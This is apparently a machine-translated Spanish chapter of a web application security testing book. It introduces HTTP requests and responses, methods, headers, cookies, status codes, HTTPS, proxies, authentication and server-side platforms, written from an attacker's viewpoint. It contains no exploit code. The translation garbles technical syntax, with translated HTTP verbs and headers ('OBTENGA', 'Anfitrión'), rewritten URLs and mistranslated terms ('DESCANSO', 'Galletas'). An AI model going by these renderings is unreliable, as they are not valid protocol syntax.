Las aplicaciones web emplean una miríada de tecnologías para implementar su

funcionalidad . Este capítulo es una breve introducción a las tecnologías clave que es
probable que encuentre al atacar aplicaciones web. Examinaremos el protocolo HTTP, las
tecnologías comúnmente empleadas en el lado del servidor y del cliente, y los esquemas
de codificación utilizados para representar datos en diferentes situaciones. Estas
tecnologías son, en general, fáciles de entender y la comprensión de sus características
relevantes es clave para realizar ataques efectivos contra las aplicaciones web.
Si ya está familiarizado con las tecnologías clave utilizadas en las aplicaciones
web, puede hojear este capítulo para confirmar que no le ofrece nada nuevo. Si
todavía está aprendiendo cómo funcionan las aplicaciones web, debe leer este
capítulo antes de continuar con los capítulos posteriores sobre vulnerabilidades
específicas. Para leer más sobre muchas de las áreas cubiertas, recomendamos
HTTP: The Defi nitive Guide de David Gourley y Brian Totty (O'Reilly, 2002), y
también el sitio web del World Wide Web Consortium en www.w3.org.
El protocolo HTTP
El protocolo de transferencia de hipertexto (HTTP) es el protocolo de comunicaciones

central que se utiliza para acceder a la World Wide Web y lo utilizan todas las aplicaciones
web actuales. Es un protocolo simple que se desarrolló originalmente para recuperar
recursos estáticos basados en texto. Desde entonces, se ha ampliado y aprovechado de
varias maneras para permitirle admitir las aplicaciones distribuidas complejas que ahora son comunes.
39
40 Capítulo 3 n Tecnologías de aplicaciones web
HTTP utiliza un modelo basado en mensajes en el que un cliente envía un mensaje

de solicitud y el servidor devuelve un mensaje de respuesta. El protocolo esencialmente
no tiene conexión: aunque HTTP usa el protocolo TCP con estado como su mecanismo
de transporte, cada intercambio de solicitud y respuesta es una transacción autónoma
y puede usar una conexión TCP diferente.
Solicitudes HTTP
Todos los mensajes HTTP (solicitudes y respuestas) constan de uno o más encabezados,
cada uno en una línea separada, seguido de una línea en blanco obligatoria, seguida de
un cuerpo de mensaje opcional. Una solicitud HTTP típica es la siguiente:
OBTENGA /auth/488/SusDetalles.ashx?uid=129 HTTP/1.1

Aceptar: aplicación/x-ms-aplicación, imagen/jpeg, aplicación/xaml+xml, imagen/gif, imagen/pjpeg, aplicación/x-ms-xbap,
aplicación/x-shockwave
destello, */*
Consulte: https://mdsec.net/auth/488/Home.ashx
Idioma aceptado: en-GB User-Agent:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR
3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322)
Aceptar codificación: gzip, deflate
Anfitrión: mdsec.net
Conexión: Keep-Alive
Cookie: ID de sesión = 5B70C71F3FD4968935CDB6682E545476
La primera línea de cada solicitud HTTP consta de tres elementos, separados por espacios:
n Un verbo que indica el método HTTP. El método más utilizado es GET, cuya función
es recuperar un recurso del servidor web. Las solicitudes GET no tienen un cuerpo
de mensaje, por lo que no hay más datos después de la línea en blanco después
de los encabezados del mensaje.
n La URL solicitada. La URL normalmente funciona como un nombre para el recurso
que se solicita, junto con una cadena de consulta opcional que contiene los
parámetros que el cliente pasa a ese recurso. La cadena de consulta se indica
mediante el ? carácter en la URL. El ejemplo contiene un solo parámetro con el
nombre uid y el valor 129.
n La versión de HTTP que se está utilizando. Las únicas versiones HTTP de uso común
en Internet son 1.0 y 1.1, y la mayoría de los navegadores usan la versión 1.1 de
forma predeterminada. Existen algunas diferencias entre las especificaciones de
estas dos versiones; sin embargo, la única diferencia que probablemente encontrará
al atacar aplicaciones web es que en la versión 1.1 el encabezado de solicitud de
host es obligatorio.
Aquí hay algunos otros puntos de interés en la solicitud de muestra:
n El encabezado Referer se utiliza para indicar la URL desde la que se originó la solicitud
(por ejemplo, porque el usuario hizo clic en un enlace de esa página).
Tenga en cuenta que este encabezado estaba mal escrito en la especificación HTTP
original y la versión mal escrita se ha conservado desde entonces.
n El encabezado User-Agent se usa para proporcionar información sobre el navegador
u otro software de cliente que generó la solicitud. Tenga en cuenta que la mayoría
de los navegadores incluyen el prefijo Mozilla por razones históricas. Esta era la
cadena de User Agent utilizada por el navegador Netscape originalmente dominante,
y otros navegadores querían afirmar a los sitios web que eran compatibles con este
estándar. Al igual que con muchas peculiaridades de la historia de la informática,
se ha establecido tanto que aún se conserva, incluso en la versión actual de Internet
Explorer, que realizó la solicitud que se muestra en el ejemplo.
n El encabezado Host especifica el nombre de host que apareció en la URL completa a
la que se accede. Esto es necesario cuando varios sitios web están alojados en el
mismo servidor, porque la URL enviada en la primera línea de la solicitud generalmente
no contiene un nombre de host. (Consulte el Capítulo 17 para obtener más información
sobre sitios web alojados virtualmente). n El encabezado de la cookie se utiliza para
enviar parámetros adicionales que el servidor ha emitido al cliente (descritos con más
detalle más adelante en este capítulo).
Respuestas HTTP
Una respuesta HTTP típica es la siguiente:
HTTP/1.1 200 Aceptar

Fecha: martes, 19 de abril de 2011 09:23:32 GMT Servidor:
Microsoft-IIS/6.0
X-Powered-By: ASP.NET Set-Cookie:

tracking=tI8rk7joMx44S2Uu85nSWc X-AspNet-Version: 2.0.50727
Control de caché: sin caché
Pragma: sin caché

Caduca: jueves, 01 de enero de 1970 00:00:00 GMT
Tipo de contenido: texto/html; conjunto de caracteres = utf-8
Longitud del contenido: 1067
<!DOCTYPE html PÚBLICO “-//W3C//DTD XHTML 1.0 Transicional//EN” “http:// www.w3.org/TR/xhtml1/DTD/xhtml1-

transicional.dtd”><html xmlns=”http :// www.w3.org/1999/xhtml” ><head><title>Sus datos</title>
...
La primera línea de cada respuesta HTTP consta de tres elementos, separados por
espacios:
n La versión de HTTP que se está
utilizando. n Un código de estado numérico que indica el resultado de la solicitud. 200 es el

código de estado más común; significa que la solicitud fue exitosa y que se está
devolviendo el recurso solicitado.
n Una “frase de razón” textual que describa con más detalle el estado de la respuesta. Esto
puede tener cualquier valor y los navegadores actuales no lo utilizan para ningún propósito.
Aquí hay algunos otros puntos de interés en la respuesta:
n El encabezado del servidor contiene un banner que indica el software del servidor web que
se está utilizando y, a veces, otros detalles, como los módulos instalados y el sistema
operativo del servidor. La información contenida puede o no ser precisa.
n El encabezado Set-Cookie envía al navegador una cookie más; esto se vuelve a enviar en
el encabezado de la cookie de las solicitudes posteriores a este servidor. n El encabezado
de Pragma indica al navegador que no almacene la respuesta en su caché. El encabezado

Expires indica que el contenido de la respuesta expiró en el pasado y, por lo tanto, no
debe almacenarse en caché. Estas instrucciones se emiten con frecuencia cuando se
devuelve contenido dinámico para garantizar que los navegadores obtengan una versión
nueva de este contenido en ocasiones posteriores .
n Casi todas las respuestas HTTP contienen un cuerpo de mensaje después de la línea en
blanco después de los encabezados. El encabezado Content-Type indica que el cuerpo
de este mensaje contiene un documento HTML. n El encabezado Content-Length indica
la longitud del cuerpo del mensaje en

bytes
Métodos HTTP
Cuando esté atacando aplicaciones web, estará tratando casi exclusivamente
con los métodos más utilizados: GET y POST. Debe conocer algunas
diferencias importantes entre estos métodos, ya que pueden afectar la
seguridad de una aplicación si se pasan por alto.
El método GET está diseñado para recuperar recursos. Se puede utilizar para enviar
parámetros al recurso solicitado en la cadena de consulta de URL. Esto permite a los
usuarios marcar una URL para un recurso dinámico que pueden reutilizar. O bien, otros
usuarios pueden recuperar el recurso equivalente en una ocasión posterior (como en una
consulta de búsqueda marcada). Las direcciones URL se muestran en pantalla y se
registran en varios lugares, como el historial del navegador y los registros de acceso del servidor web.
También se transmiten en el encabezado Referer a otros sitios cuando son externos .
Capítulo 3 n Tecnologías de aplicaciones web 43
Se siguen los enlaces. Por estos motivos, la cadena de consulta no debe utilizarse
para transmitir información confidencial.
El método POST está diseñado para realizar acciones. Con este método, los parámetros de
solicitud se pueden enviar tanto en la cadena de consulta de URL como en el cuerpo del
mensaje. Aunque la URL todavía se puede marcar, cualquier parámetro enviado en el cuerpo
del mensaje se excluirá del marcador. Estos parámetros también se excluirán de las diversas
ubicaciones en las que se mantienen los registros de las URL y del encabezado Referer . Dado
que el método POST está diseñado para realizar acciones, si un usuario hace clic en el botón
Atrás del navegador para volver a una página a la que accedió mediante este método, el
navegador no vuelve a emitir automáticamente la solicitud. En su lugar, advierte al usuario de lo
que está a punto de hacer, como se muestra en la Figura 3-1. Esto evita que los usuarios
realicen una acción sin darse cuenta más de una vez. Por esta razón, las solicitudes POST
siempre deben usarse cuando se realiza una acción.
Figura 3-1: Los navegadores no vuelven a emitir automáticamente las solicitudes POST
realizadas por los usuarios, ya que pueden hacer que una acción se realice más de una vez
Además de los métodos GET y POST , el protocolo HTTP admite

muchos otros métodos que se han creado para propósitos específicos.
Estos son los otros que es más probable que necesite conocer:
n HEAD funciona de la misma manera que una solicitud GET , excepto que el
servidor no debe devolver un cuerpo de mensaje en su respuesta. El servidor
debe devolver los mismos encabezados que habría devuelto a la solicitud GET
correspondiente. Por lo tanto, este método se puede usar para verificar si un
recurso está presente antes de realizar una solicitud GET para él.
n TRACE está diseñado para fines de diagnóstico. El servidor debe devolver en el cuerpo
de la respuesta el contenido exacto del mensaje de solicitud que recibió. Esto se puede
usar para detectar el efecto de cualquier servidor proxy entre el cliente y el servidor que
pueda manipular la solicitud.
n OPTIONS le pide al servidor que informe los métodos HTTP que están disponibles para
un recurso en particular. El servidor generalmente devuelve una respuesta que contiene
un encabezado Permitir que enumera los métodos disponibles.
n PUT intenta cargar el recurso especificado en el servidor, utilizando el contenido incluido

en el cuerpo de la solicitud. Si este método está habilitado, es posible que pueda
aprovecharlo para atacar la aplicación, por ejemplo, cargando un script arbitrario y
ejecutándolo en el servidor.
Existen muchos otros métodos HTTP que no son directamente relevantes para atacar
aplicaciones web. Sin embargo, un servidor web puede exponerse a un ataque si ciertos métodos
peligrosos están disponibles. Consulte el Capítulo 18 para obtener más detalles sobre estos
métodos y ejemplos de su uso en un ataque.
URL
Un localizador uniforme de recursos (URL) es un identificador único para un recurso web a través
del cual se puede recuperar ese recurso. El formato de la mayoría de las URL es el siguiente:
protocolo://nombre de host[:puerto]/[ruta/]archivo[?param=valor]
Varios componentes de este esquema son opcionales. El número de puerto generalmente se

incluye solo si difiere del predeterminado utilizado por el protocolo relevante. La URL utilizada
para generar la solicitud HTTP que se muestra anteriormente es la siguiente:
https://mdsec.net/auth/488/YourDetails.ashx?uid=129
Además de esta forma absoluta, las URL pueden especificarse en relación con un determinado
host, o relativo a una ruta particular en ese host. Por ejemplo:
/auth/488/TusDetalles.ashx?uid=129
TusDetalles.ashx?uid=129
Estas formas relativas se utilizan a menudo en páginas web para describir la navegación dentro de
el sitio web o la propia aplicación.
NOTA Es posible que encuentre el término URI (o identificador uniforme de

recursos) que se usa en lugar de URL, pero en realidad solo se usa en
especificaciones formales y por aquellos que quieren exhibir su pedantería.
DESCANSO
La transferencia de estado representacional (REST) es un estilo de arquitectura para sistemas

distribuidos en el que las solicitudes y respuestas contienen representaciones del estado actual
de los recursos del sistema. Las tecnologías centrales empleadas en la World Wide Web, incluido
el protocolo HTTP y el formato de las URL, se ajustan al estilo arquitectónico REST.
Aunque las URL que contienen parámetros dentro de la cadena de consulta se ajustan a las
restricciones de REST, el término "URL de estilo REST" se usa a menudo para referirse a una
URL que contiene sus parámetros dentro de la ruta del archivo URL, en lugar de la cadena de
consulta. Por ejemplo, la siguiente URL que contiene una cadena de consulta:
http://wahh-app.com/search?make=ford&model=pinto
corresponde a la siguiente URL que contiene parámetros de "estilo REST":
http://wahh-app.com/search/ford/pinto
El Capítulo 4 describe cómo debe considerar estos diferentes estilos de

parámetros al mapear el contenido y la funcionalidad de una aplicación e identificar
su superficie de ataque clave.
Encabezados HTTP
HTTP admite una gran cantidad de encabezados, algunos de los cuales están diseñados para
propósitos específicos inusuales. Algunos encabezados se pueden usar tanto para solicitudes como
para respuestas, y otros son específi cos para uno de estos tipos de mensajes. Las siguientes
secciones describen los encabezados que es probable que encuentre al atacar aplicaciones web.
Encabezados generales
n Connection le dice al otro extremo de la comunicación si debe

cierre la conexión TCP después de que se haya completado la transmisión HTTP o
manténgala abierta para más mensajes.
n La codificación de contenido especifica qué tipo de codificación se usa para el contenido del
cuerpo del mensaje, como gzip, que algunas aplicaciones usan para comprimir las respuestas
para una transmisión más rápida. n Content-Length especifica la longitud del cuerpo del
mensaje, en bytes (excepto en el caso de respuestas a solicitudes HEAD , cuando indica la

longitud del cuerpo en la respuesta a la solicitud GET correspondiente).
n Content-Type especifica el tipo de contenido contenido en el cuerpo del mensaje,

como texto/html para documentos HTML.
n Transfer-Encoding especifica cualquier codificación que se realizó en el cuerpo del mensaje

para facilitar su transferencia a través de HTTP. Normalmente se usa para especificar la
codificación fragmentada cuando se emplea.
Encabezados de solicitud
n Aceptar le dice al servidor qué tipo de contenido está dispuesto a aceptar el cliente,
como tipos de imágenes, formatos de documentos de oficina, etc.
n Aceptar-Codificación le dice al servidor qué tipo de contenido codifica el cliente

está dispuesto a aceptar.
n Autorización envía credenciales al servidor para uno de los
Tipos de autenticación HTTP.
n Cookie envía cookies al servidor que el servidor emitió previamente. n Host

especifica el nombre de host que apareció en la URL completa solicitada.
n If-Modified-Since especifica cuándo el navegador recibió por última vez el recurso solicitado. Si el
recurso no ha cambiado desde ese momento, el servidor puede indicarle al cliente que use su
copia en caché, usando una respuesta con el código de estado 304. n If-None-Match especifica
una etiqueta de entidad, que es un identificador que denota el contenido del cuerpo del mensaje. El
navegador envía la etiqueta de entidad que el servidor emitió con el recurso solicitado cuando se
recibió por última vez.
El servidor puede usar la etiqueta de entidad para determinar si el navegador puede usar su copia
en caché del recurso. n Origen se utiliza en solicitudes Ajax entre dominios para indicar el dominio
desde el que se originó la solicitud (consulte el Capítulo 13). n Referer especifica la URL desde la que
se originó la solicitud actual. n User-Agent proporciona información sobre el navegador u otro
software de cliente que generó la solicitud.
Encabezados de respuesta
n Access-Control-Allow-Origin indica si el recurso puede ser

recuperado a través de solicitudes Ajax entre dominios (consulte el Capítulo 13).
n Cache-Control pasa directivas de almacenamiento en caché al navegador (por ejemplo,

no-cache).
n ETag especifica una etiqueta de entidad. Los clientes pueden enviar este identificador en solicitudes
futuras para el mismo recurso en el encabezado If-None-Match para notificar al servidor qué versión
del recurso tiene el navegador actualmente en su caché. n Expires le dice al navegador por cuánto
tiempo son válidos los contenidos del cuerpo del mensaje . El navegador puede usar la copia en caché
de este recurso hasta este momento.
n La ubicación se usa en las respuestas de redirección (aquellas que tienen un código de estado
comenzando con 3) para especificar el destino de la redirección.
n Pragma pasa directivas de almacenamiento en caché al navegador (por ejemplo, sin caché).
n Server proporciona información sobre el software del servidor web que se está utilizando. n
Set-Cookie emite cookies al navegador que enviará de vuelta al
servidor en solicitudes posteriores. n
WWW-Authenticate se usa en respuestas que tienen un código de estado 401 para brindar
detalles sobre los tipos de autenticación que admite el servidor. n X-Frame-Options indica si
y cómo la respuesta actual puede

cargarse dentro de un marco de navegador (consulte el Capítulo 13).
Galletas
Las cookies son una parte clave del protocolo HTTP en el que se basan la mayoría de las
aplicaciones web . Con frecuencia se pueden utilizar como vehículo para explotar
vulnerabilidades. El mecanismo de cookies permite que el servidor envíe elementos de
datos al cliente, que el cliente almacena y vuelve a enviar al servidor. A diferencia de los
otros tipos de parámetros de solicitud (aquellos dentro de la cadena de consulta de la URL
o el cuerpo del mensaje), las cookies continúan siendo reenviadas en cada solicitud posterior
sin que la aplicación o el usuario requieran ninguna acción en particular.
Un servidor emite una cookie utilizando el encabezado de respuesta Set-Cookie ,
como ha visto:
Establecer-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
El navegador del usuario agrega automáticamente el siguiente encabezado a las solicitudes

posteriores al mismo servidor:
Cookie: seguimiento=tI8rk7joMx44S2Uu85nSWc
Las cookies normalmente consisten en un par de nombre/valor, como se muestra, pero

pueden consistir en cualquier cadena que no contenga un espacio. Se pueden emitir varias
cookies mediante el uso de varios encabezados Set-Cookie en la respuesta del servidor. Estos
se envían de vuelta al servidor en el mismo encabezado de Cookie , con un punto y coma
separando las diferentes cookies individuales.
Además del valor real de la cookie, el encabezado Set-Cookie puede incluir
cualquiera de los siguientes atributos opcionales, que se pueden usar para controlar
cómo el navegador maneja la cookie:
n expire establece una fecha hasta la cual la cookie es válida. Esto hace que el navegador
guarde la cookie en un almacenamiento persistente y se reutilice en sesiones posteriores
del navegador hasta que se alcance la fecha de caducidad. Si este atributo no está
configurado, la cookie se usa solo en la sesión actual del navegador. n dominio especifica
el dominio para el que la cookie es válida. Este debe ser el mismo o uno de los principales
del dominio del que se recibe la cookie.
n ruta especifica la ruta URL para la cual la cookie es válida.

n seguro : si se establece este atributo, la cookie se enviará solo en HTTPS
peticiones.
n HttpOnly : si se establece este atributo, no se puede acceder directamente a la cookie

a través de JavaScript del lado del cliente.
Cada uno de estos atributos de cookies puede afectar la seguridad de la aplicación. El impacto
principal está en la capacidad del atacante para atacar directamente a otros usuarios de la
aplicación. Consulte los Capítulos 12 y 13 para obtener más detalles.
Códigos de estado
Cada mensaje de respuesta HTTP debe contener un código de estado en su primera línea,
indicando el resultado de la solicitud. Los códigos de estado se dividen en cinco grupos,
según el primer dígito del código:
n 1xx : informativo.
n 2xx — La solicitud fue exitosa. n 3xx : el

cliente se redirige a un recurso diferente.
n 4xx : la solicitud contiene algún tipo de error. n 5xx : el

servidor encontró un error al cumplir con la solicitud.
Existen numerosos códigos de estado específi cos, muchos de los cuales se usan solo en
circunstancias especiales. Estos son los códigos de estado que es más probable que
encuentre al atacar una aplicación web, junto con la frase de motivo habitual asociada con
ellos:
n 100 Continuar se envía en algunas circunstancias cuando un cliente envía una solicitud
que contiene un cuerpo. La respuesta indica que se recibieron los encabezados de la
solicitud y que el cliente debe continuar enviando el cuerpo. El servidor devuelve una
segunda respuesta cuando se completa la solicitud. n 200 OK indica que la solicitud
fue exitosa y que la respuesta
body contiene el resultado de la solicitud.
n 201 Creado se devuelve en respuesta a una solicitud PUT para indicar que la solicitud
fue exitosa. n 301 Movido permanentemente redirige el navegador de forma
permanente a una URL diferente, que se especifica en el encabezado Ubicación . El
cliente debería usar la nueva URL en el futuro en lugar de la original. n 302 Found
redirige el navegador temporalmente a una URL diferente, que se especifica en el
encabezado Ubicación . El cliente debe volver a la URL original en solicitudes posteriores.
n 304 No modificado le indica al navegador que use su copia en caché del

recurso solicitado. El servidor utiliza los encabezados de solicitud If-
Modified-Since y If-None Match para determinar si el cliente tiene la última
versión del recurso.
n 400 Solicitud incorrecta indica que el cliente envió una solicitud HTTP no válida.
Probablemente encontrará esto cuando haya modificado una solicitud de ciertas
maneras no válidas, como al colocar un carácter de espacio en la URL. n 401 No
autorizado indica que el servidor requiere autenticación HTTP antes de que se conceda
la solicitud. El encabezado WWW-Authenticate contiene detalles sobre los tipos de
autenticación admitidos.
n 403 Prohibido indica que nadie puede acceder a la información solicitada.

recurso, independientemente de la autenticación.
n 404 No encontrado indica que el recurso solicitado no existe. n 405

Método no permitido indica que el método utilizado en la solicitud no es
compatible con la URL especificada. Por ejemplo, puede recibir este código
de estado si intenta utilizar el método PUT donde no se admite. n 413 Entidad
de solicitud demasiado grande : si está investigando vulnerabilidades de
desbordamiento de búfer en código nativo y, por lo tanto, está enviando
largas cadenas de datos, esto indica que el cuerpo de su solicitud es
demasiado grande para que el servidor lo maneje.
n URI de solicitud 414 demasiado largo es similar a la respuesta 413. Indica que la URL utilizada
en la solicitud es demasiado grande para que la maneje el servidor. n 500 Error interno del
servidor indica que el servidor encontró un error al cumplir con la solicitud. Esto normalmente
ocurre cuando envió una entrada inesperada que causó un error no controlado en algún
lugar dentro del procesamiento de la aplicación. Debe revisar detenidamente el contenido
completo de la respuesta del servidor en busca de detalles que indiquen la naturaleza del
error. n 503 Servicio no disponible normalmente indica que, aunque el servidor web está
funcionando y puede responder a las solicitudes, la aplicación a la que se accede a través del
servidor no responde. Debe verificar si este es el resultado de alguna acción que haya
realizado.
HTTPS
El protocolo HTTP utiliza TCP simple como mecanismo de transporte, que no está cifrado y, por lo
tanto, puede ser interceptado por un atacante que esté adecuadamente posicionado en la red.
HTTPS es esencialmente el mismo protocolo de capa de aplicación que HTTP, pero se canaliza a
través del mecanismo de transporte seguro, Capa de sockets seguros (SSL). Esto protege la
privacidad y la integridad de los datos que pasan por la red, lo que reduce las posibilidades de
ataques de intercepción no invasivos. Las solicitudes y respuestas HTTP funcionan exactamente de
la misma manera, independientemente de si se utiliza SSL para el transporte.
NOTA SSL ha sido estrictamente reemplazado por la seguridad de la capa de transporte (TLS),
pero por lo general todavía se hace referencia a esta última con el nombre anterior.
Proxies HTTP
Un proxy HTTP es un servidor que media el acceso entre el navegador del cliente y el
servidor web de destino. Cuando un navegador ha sido configurado para usar un proxy
servidor, hace todas sus solicitudes a ese servidor. El proxy transmite las solicitudes a los servidores web
relevantes y reenvía sus respuestas al navegador.
La mayoría de los proxies también brindan servicios adicionales, incluidos el almacenamiento en caché, la
autenticación y el control de acceso.
Debe tener en cuenta dos diferencias en el funcionamiento de HTTP cuando se utiliza un servidor proxy:
n Cuando un navegador emite una solicitud HTTP sin cifrar a un servidor proxy, coloca la URL completa
en la solicitud, incluido el prefijo de protocolo http://, el nombre de host del servidor y el número de
puerto si no es estándar. El servidor proxy extrae el nombre de host y el puerto y los utiliza para dirigir
la solicitud al servidor web de destino correcto. n Cuando se usa HTTPS, el navegador no puede
realizar el protocolo de enlace SSL con el servidor proxy, porque esto rompería el túnel seguro y
dejaría las comunicaciones vulnerables a los ataques de intercepción. Por lo tanto, el navegador debe
usar el proxy como un relé de nivel TCP puro, que pasa todos los datos de la red en ambas direcciones
entre el navegador y el destino.
servidor web de ción, con el que el navegador realiza un protocolo de enlace SSL de forma normal.
Para establecer esta retransmisión, el navegador realiza una solicitud HTTP al servidor proxy utilizando
el método CONNECT y especificando el nombre de host de destino y el número de puerto como URL.
Si el proxy permite la solicitud, devuelve una respuesta HTTP con un estado 200, mantiene abierta la
conexión TCP y, a partir de ese momento, actúa como un relé de nivel TCP puro para el servidor web
de destino.
En cierta medida, el elemento más útil de su conjunto de herramientas al atacar aplicaciones web es un
tipo de servidor proxy especializado que se ubica entre su navegador y el sitio web de destino y le permite
interceptar y modificar todas las solicitudes y respuestas, incluso aquellas que usan HTTPS. Comenzaremos
a examinar cómo puede utilizar este tipo de herramienta en el próximo capítulo.
Autenticación HTTP
El protocolo HTTP incluye sus propios mecanismos para autenticar a los usuarios mediante varios esquemas
de autenticación, incluidos los siguientes:
n Basic es un mecanismo de autenticación simple que envía las credenciales de usuario

como una cadena codificada en Base64 en un encabezado de solicitud con cada
mensaje. n NTLM es un mecanismo de desafío-respuesta y utiliza una versión del
Protocolo NTLM de Windows.
n Digest es un mecanismo de desafío-respuesta y utiliza sumas de verificación MD5 de un nonce con las
credenciales del usuario.
Es relativamente raro encontrar estos protocolos de autenticación utilizados por

aplicaciones web implementadas en Internet. Se utilizan más comúnmente dentro de
las organizaciones para acceder a servicios basados en intranet.
MITO COMÚN
"La autenticación básica es insegura".
Debido a que la autenticación básica coloca las credenciales en forma no cifrada dentro
la solicitud HTTP, con frecuencia se afirma que el protocolo no es seguro y no debe
utilizarse. Pero la autenticación basada en formularios, tal como la utilizan numerosos
bancos, también coloca credenciales sin cifrar dentro de la solicitud HTTP.
Cualquier mensaje HTTP puede protegerse de los ataques de espionaje mediante el uso de HTTPS
como un mecanismo de transporte, lo que debe ser hecho por cada aplicación consciente
de la seguridad. En relación con las escuchas, al menos, la autenticación básica en sí misma
no es peor que los métodos utilizados por la mayoría de las aplicaciones web actuales.
Funcionalidad Web
Además del protocolo de comunicaciones central utilizado para enviar mensajes entre el
cliente y el servidor, las aplicaciones web emplean numerosas tecnologías para ofrecer
su funcionalidad. Cualquier aplicación razonablemente funcional puede emplear docenas
de tecnologías distintas dentro de sus componentes de servidor y cliente. Antes de que
pueda montar un ataque serio contra una aplicación web, necesita una comprensión
básica de cómo se implementa su funcionalidad, cómo se diseñan las tecnologías
utilizadas para comportarse y dónde es probable que se encuentren sus puntos débiles.
Funcionalidad del lado del servidor

La World Wide Web temprana contenía contenido completamente estático. Los sitios
web constaban de varios recursos, como páginas HTML e imágenes, que simplemente
se cargaban en un servidor web y se entregaban a cualquier usuario que las solicitara .
Cada vez que se solicitaba un recurso en particular, el servidor respondía con el mismo
contenido.
Las aplicaciones web de hoy todavía suelen emplear una buena cantidad de recursos estáticos.
Sin embargo, gran parte del contenido que presentan a los usuarios se genera de forma
dinámica. Cuando un usuario solicita un recurso dinámico, la respuesta del servidor se
crea sobre la marcha y cada usuario puede recibir contenido personalizado de forma
exclusiva para él o ella.
El contenido dinámico es generado por scripts u otro código que se ejecuta en el servidor.
Estos scripts son similares a los programas de computadora por derecho propio. Tienen
varias entradas, las procesan y devuelven sus salidas al usuario.
Cuando el navegador de un usuario solicita un recurso dinámico, normalmente no solicita simplemente

una copia de ese recurso. En general, también envía varios parámetros junto con su solicitud. Son estos
parámetros los que permiten que la aplicación del lado del servidor genere contenido que se adapta al
usuario individual.
Las solicitudes HTTP se pueden utilizar para enviar parámetros a la aplicación de tres formas principales:
n En la cadena de consulta de la
URL n En la ruta del archivo de las URL de estilo

REST n En las cookies HTTP
n En el cuerpo de las solicitudes mediante el método POST
Además de estas fuentes primarias de entrada, la aplicación del lado del servidor puede, en principio,
utilizar cualquier parte de la solicitud HTTP como entrada para su procesamiento. Por ejemplo, una
aplicación puede procesar el encabezado User-Agent para generar contenido optimizado para el tipo de
navegador que se utiliza.
Al igual que el software informático en general, las aplicaciones web emplean una amplia gama de
tecnologías en el lado del servidor para ofrecer su funcionalidad:
n Lenguajes de secuencias de comandos como PHP, VBScript y Perl n
Plataformas de aplicaciones web como ASP.NET y Java n Servidores web
como Apache, IIS y Netscape Enterprise n Bases de datos como MS-SQL, Oracle
y MySQL n Otros componentes finales como sistemas de archivos, servicios web
basados en SOAP y servicios de directorio
Todas estas tecnologías y los tipos de vulnerabilidades que pueden surgir en relación con ellas se
examinan en detalle a lo largo de este libro. Algunas de las plataformas y tecnologías de aplicaciones
web más comunes que probablemente encontrará se describen en las siguientes secciones.
MITO COMÚN
“Nuestras aplicaciones solo necesitan una revisión de seguridad superficial, porque

emplean un marco bien utilizado”.
El uso de un marco bien utilizado es a menudo motivo de complacencia en el

desarrollo de aplicaciones web, en el supuesto de que las vulnerabilidades
comunes, como la inyección de SQL, se evitan automáticamente. Esta suposición es
errónea por dos razones.
Primero, una gran cantidad de vulnerabilidades de aplicaciones web surgen en
el diseño de una aplicación, no en su implementación, y son independientes del marco
de desarrollo o lenguaje elegido.
En segundo lugar, debido a que un marco generalmente emplea

complementos y paquetes de los últimos repositorios, es probable que estos
paquetes no se hayan sometido a una revisión de seguridad. Curiosamente, si
más tarde se encuentra una vulnerabilidad en la aplicación, los mismos
defensores del mito cambiarán fácilmente de bando y culparán a su marco o paquete de terceros.
La plataforma Java
Durante muchos años, Java Platform, Enterprise Edition (anteriormente conocido como J2EE)
fue un estándar de facto para aplicaciones empresariales a gran escala. Originalmente
desarrollado por Sun Microsystems y ahora propiedad de Oracle, se presta a arquitecturas
de varios niveles y con equilibrio de carga y es muy adecuado para el desarrollo modular y la
reutilización de código. Debido a su larga historia y adopción generalizada, muchas
herramientas de desarrollo, servidores de aplicaciones y marcos de trabajo de alta calidad
están disponibles para ayudar a los desarrolladores. La plataforma Java se puede ejecutar
en varios sistemas operativos subyacentes, incluidos Windows, Linux y Solaris.
Las descripciones de las aplicaciones web basadas en Java a menudo emplean una serie de potenciales
Términos potencialmente confusos que quizás deba tener en cuenta:
n Un Enterprise Java Bean (EJB) es un componente de software relativamente

pesado que encapsula la lógica de una función comercial específica dentro de
la aplicación. Los EJB están destinados a encargarse de varios desafíos técnicos
que los desarrolladores de aplicaciones deben abordar, como la integridad
transaccional. n Un objeto Java antiguo simple (POJO) es un objeto Java
ordinario, a diferencia de un objeto especial como un EJB. Un POJO normalmente
se usa para denotar objetos que están definidos por el usuario y son mucho más
simples y livianos que los EJB y los que se usan en otros marcos.
n Un Java Servlet es un objeto que reside en un servidor de aplicaciones y recibe
solicitudes HTTP de los clientes y devuelve respuestas HTTP. Las
implementaciones de servlets pueden utilizar numerosas interfaces para facilitar
el desarrollo de aplicaciones útiles.
n Un contenedor web de Java es una plataforma o motor que proporciona un entorno
de tiempo de ejecución para aplicaciones web basadas en Java. Ejemplos de
contenedores web de Java son Apache Tomcat, BEA WebLogic y JBoss.
Muchas aplicaciones web de Java emplean componentes de código abierto y de terceros

junto con código personalizado. Esta es una opción atractiva porque reduce el esfuerzo de
desarrollo y Java se adapta bien a este enfoque modular. Estos son algunos ejemplos de
componentes comúnmente utilizados para funciones clave de aplicaciones:
Autenticación — JAAS, ACEGI
n Capa de presentación : SiteMesh, Tapestry

n Mapeo relacional de objetos de base de datos — Hibernate n
Registro — Log4J
Si puede determinar qué paquetes de código abierto se utilizan en la aplicación que está atacando,
puede descargarlos y realizar una revisión del código o instalarlos para experimentar. Una
vulnerabilidad en cualquiera de estos puede explotarse para comprometer la aplicación más
amplia.
ASP.NET
ASP.NET es el marco de aplicaciones web de Microsoft y es un competidor directo de la plataforma
Java. ASP.NET es varios años más joven que su contraparte, pero ha hecho incursiones
significativas en el territorio de Java.
ASP.NET utiliza .NET Framework de Microsoft, que proporciona una máquina virtual (Common
Language Runtime) y un conjunto de potentes API. Por lo tanto, las aplicaciones ASP.NET se
pueden escribir en cualquier lenguaje .NET, como C# o VB.NET.
ASP.NET se presta al paradigma de programación basado en eventos que normalmente se
usa en el software de escritorio convencional, en lugar del enfoque basado en secuencias de
comandos que se usa en la mayoría de los marcos de aplicaciones web anteriores. Esto, junto
con las potentes herramientas de desarrollo proporcionadas con Visual Studio, hace que el
desarrollo de una aplicación web funcional sea extremadamente fácil para cualquier persona con
conocimientos mínimos de programación.
